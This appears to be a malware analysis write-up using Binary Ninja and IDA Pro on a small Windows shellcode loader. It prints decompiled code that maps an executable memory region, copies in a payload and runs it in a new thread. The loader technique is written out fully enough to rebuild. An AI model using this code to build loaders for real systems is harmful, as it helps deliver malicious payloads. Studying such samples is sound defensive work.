Summary

We are going to analyse this binary with Binary Ninja & IDA Pro

Within this code, a main function held sway at memory address `1400010fb`, orchestrating the malware's actions. Supported by a subroutine at `14000112d`.

A pause in execution prompted by a user prompt, facilitated by a simple `getchar()` command, provided a momentary interruption. Discovered the creation of threads through `CreateThread()` and `WaitForSingleObject()`.

Binary Ninja Analysis

Main() Function Part 1

Mine mythology is to analyse the `main()` subroutine first, this allows to have a good understanding on how this specimen work without going to deep right a way. (which I will do once I analyse `main()`).

Binary Ninja is able to detect the main function of the specimen. We can see at memory location: `14000112d` that there is a another subroutine called named: `gaadisdadhsa`. Before we continue to further analyse the `main()` function, I want to dive into this other subroutine.

gaadisdadhsa() Subroutine

We can see are able to determine that the subroutine accepts 3 parameters;

1. pPayload -> Pointer to payload memory address.
2. sPayloadSize -> Size of payload (in bytes).
3. ppAddress -> Double pointer to base address of our payload.

This function (`140001052`) will create an new file mapping object with RWX permissions (ReadWriteExecute) it needs to have execute permissions to run our payload, also `dwMaximumSizeLow` is set to our size of your payload. (`dwMaximumSizeLow` -> low-order 32 bits of the maximum size of the file mapping object. In a 32-bit unsigned integer, the low-order 16 bits

refer to the least significant 16 bits of the number, and the high-order 16 bits refer to the most significant 16 bits.) I have added quite a lot of comments to analyse line by line.

```
140001000  int32_t gaadisdadhsa(uint8_t* pPayload, uint64_t sPayloadSize, void** ppAddress)

140001015      int32_t var_38 = 1
14000101d      int64_t var_30 = 0
140001026      struct MEMORY_MAPPED_VIEW_ADDRESS hMapFile = 0
140001052      // -1 -> Not associated with an existing file (Creating a new
140001052      // mapping object)
140001052      // // Establishes a handle for a file mapping object, not linked
140001052      // to an existing file,
140001052      HANDLE rax_1 = CreateFileMappingW(hFile: -1, lpFileMappingAttributes: nullptr, flProtect: PAGE_EXECUTE_READWRITE, dwMaximumSizeHigh: 0, dwMaximumSizeLow: sPayloadSize.d, lpName: nullptr)
140001063      if (rax_1 == 0)  //
140001065          var_38 = 0
140001063      else  //
140001074          // / Payload size is set to dwNumberOfBytesToMap determines
140001074          // the size of the memory region to map
140001074          uint32_t dwNumberOfBytesToMap
140001074          dwNumberOfBytesToMap.q = sPayloadSize
14000108f          // Map the file mapping into memory
14000108f          hMapFile = MapViewOfFile(hFileMappingObject: rax_1, dwDesiredAccess: 34, dwFileOffsetHigh: 0, dwFileOffsetLow: 0, dwNumberOfBytesToMap)
14000109a          if (hMapFile == 0)
14000109c              var_38 = 0
14000109a          else
1400010b5              // Copy payload(size) into hMapfile handle
1400010b5              __builtin_memcpy(dest: hMapFile, src: pPayload, n: sPayloadSize)
1400010c4      // Dereference handle to base address of new mapped file provides
1400010c4      // the caller with the base address of the mapped file, essential
1400010c4      // for execution flow
1400010c4      *ppAddress = hMapFile
1400010cd      if (rax_1 != 0)
1400010d4          // Close the handle to the file mapping object if it was
1400010d4          // successfully created.
1400010d4          CloseHandle(hObject: rax_1)
1400010e4      return var_38
```

Main() Part 2

We have now analysed the subroutine that the main function is called at: `14000112d`. After this subroutine is called, the program waits on the user to press `<Enter>`. After the user has pressed enter, the main function will continue with its next instruction which is creating a thread. Once the handle is valid, the program waits indefinitely for the thread to complete its execution.

```
1400010f0  int32_t main(...)

1400010fb      void var_58
1400010fb      int64_t rax_1 = __security_cookie ^ &var_58
140001103      LPTHREAD_START_ROUTINE var_20 = nullptr
14000110c      int64_t var_28 = 0
14000112d      // Only calls 1 other subroutine within this main function
14000112d      if (gaadisdadhsa(pPayload: &Payload, sPayloadSize: 0x110, ppAddress: &var_20) != 0)
140001136          getchar()
140001159          // Creating thread
140001159          HANDLE hHandle = CreateThread(lpThreadAttributes: nullptr, dwStackSize: 0, lpStartAddress: var_20, lpParameter: nullptr, dwCreationFlags: THREAD_CREATE_RUN_IMMEDIATELY, lpThreadId: nullptr)
14000116a          if (hHandle != 0)
140001176              // Wait until thread is completed its execution
140001176              WaitForSingleObject(hHandle, dwMilliseconds: 0xffffffff)
140001198      return __security_check_cookie(rax_1 ^ &var_58)
```

IDA Pro

gaadisdadhsa() Subroutine

```
__int64 __fastcall gaadisdadhsa(unsigned __int8 *pPayload, SIZE_T sPayloadSize, void **ppAddress)
{
  unsigned int v4; // [rsp+30h] [rbp-38h]
  HANDLE hFileMappingObject; // [rsp+38h] [rbp-30h]
  unsigned __int8 *hMappedFile; // [rsp+40h] [rbp-28h]

  v4 = 1;
  hMappedFile = 0i64;
  hFileMappingObject = CreateFileMappingW((HANDLE)0xFFFFFFFFFFFFFFFFi64, 0i64, 64u, 0, sPayloadSize, 0i64);// Creating File Mapping Object
  if ( hFileMappingObject )
  {
    hMappedFile = (unsigned __int8 *)MapViewOfFile(hFileMappingObject, 0x22u, 0, 0, sPayloadSize);// Maps file mapping object into address space
    if ( hMappedFile )
      qmemcpy(hMappedFile, pPayload, sPayloadSize);// Copy Payload into address space
    else
      v4 = 0;
  }
  else
  {
    v4 = 0;
  }
  *ppAddress = hMappedFile;
  if ( hFileMappingObject )
    CloseHandle(hFileMappingObject);
  return v4;
}
```

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  HANDLE hHandle; // [rsp+30h] [rbp-28h]
  void *ppAddress; // [rsp+38h] [rbp-20h] BYREF

  ppAddress = 0i64;
  if ( !(unsigned int)gaadisdadhsa(Payload, 0x110ui64, &ppAddress) )// File Mapping subroutine
    return -1;
  getchar();
  hHandle = CreateThread(0i64, 0i64, (LPTHREAD_START_ROUTINE)ppAddress, 0i64, 0, 0i64);
  if ( !hHandle )
    return -1;
  WaitForSingleObject(hHandle, 0xFFFFFFFF);
  return 0;
}
```